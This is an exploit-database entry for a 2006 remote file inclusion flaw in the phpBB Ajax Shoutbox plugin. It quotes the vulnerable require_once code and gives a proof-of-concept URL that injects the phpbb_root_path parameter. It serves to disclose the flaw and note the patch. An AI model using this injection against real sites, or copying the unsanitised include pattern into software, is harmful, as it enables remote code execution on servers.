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vendor:

phpBB Ajax Shoutbox

by:

boecke

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpBB Ajax Shoutbox

Affected Version From: <= 0.0.5

Affected Version To: <= 0.0.5

Patch Exists: YES

Related CWE: N/A

CPE: a:phpbb:phpbb_ajax_shoutbox

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

phpBB Ajax Shoutbox <= 0.0.5 (phpbb_root_path) Remote File Inclusion

A vulnerability in phpBB Ajax Shoutbox <= 0.0.5 allows remote attackers to include arbitrary files via the phpbb_root_path parameter in a URL. The vulnerable code is located in the shoutbox.php file, where the phpbb_root_path parameter is not properly sanitized before being used in a require_once() statement. This can be exploited to include arbitrary files from local or external resources.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of phpBB Ajax Shoutbox.

Source

Exploit-DB raw data:

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# *
# * Title: phpBB Ajax Shoutbox <= 0.0.5 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Ajax Shoutbox <= 0.0.5
# * Release Source: http://usuarios.lycos.es/kinfule/download.php?id=16
# * Release Page @ phpBB.com : http://www.phpbb.com/phpBB/viewtopic.php?t=389032
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
$phpbb_root_path = ( !@$phpbb_root_path ) ? './' : $phpbb_root_path;
require_once($phpbb_root_path . 'extension.inc');
require_once($phpbb_root_path . 'common.'.$phpEx);

[ Proof on Concept: ]
http://localhost/phpBB2/shoutbox.php?phpbb_root_path=

# milw0rm.com [2006-10-12]